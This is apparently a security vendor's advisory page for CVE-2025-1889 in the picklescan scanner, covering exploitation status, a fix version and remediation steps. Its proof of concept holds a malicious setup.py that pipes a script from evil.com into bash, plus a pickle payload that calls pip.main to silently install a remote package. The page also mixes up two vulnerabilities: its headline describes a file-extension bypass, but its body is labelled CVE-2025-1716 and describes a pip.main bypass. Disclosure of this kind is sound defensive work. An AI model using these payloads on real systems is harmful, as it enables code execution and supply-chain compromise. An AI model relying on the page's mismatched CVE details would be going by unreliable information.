CVE-2025-1889 — picklescan
Fix: mmaitre314/picklescan@78ce704CVE-2025-1889 is a CWE-646 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.
picklescan - Security scanning bypass via non-standard file extensions
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-1889.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
CVE-2025-1716
Summary
An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.
Details
Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.
The payload executes the following steps:
- During unpickling, it calls pip.main() to install a malicious PyPI package.
- The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
- Execution is silent, with minimal logging to avoid detection.
PoC
Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.
Example malicious setup.py
from setuptools import setup
import os
os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script
setup(
name="rsac-demo-package",
version="0.1",
packages=["rsac_demo"],
install_requires=[],
)
Upload it to PyPI or host on GitHub.
Step 2: Exploit via Pickle
import pickle
import pip
class Exploit:
def __reduce__(self):
return pip.main, (
['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
'--exists-action', 'i', '--isolated'],
)
malicious_pickle = pickle.dumps(Exploit())
# Simulating deserialization attack
pickle.loads(malicious_pickle)
This installs a malicious package from GitHub or PyPI.
The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.
Impact
Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.
Recommended Fixes
Add "pip": "*" to the list of unsafe globals
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.22pip install --upgrade 'picklescan==0.0.22' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update picklescan to 0.0.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-1889 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-1889 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-1889. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-1889 in your dependencies?
O3 Security finds CVE-2025-1889 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.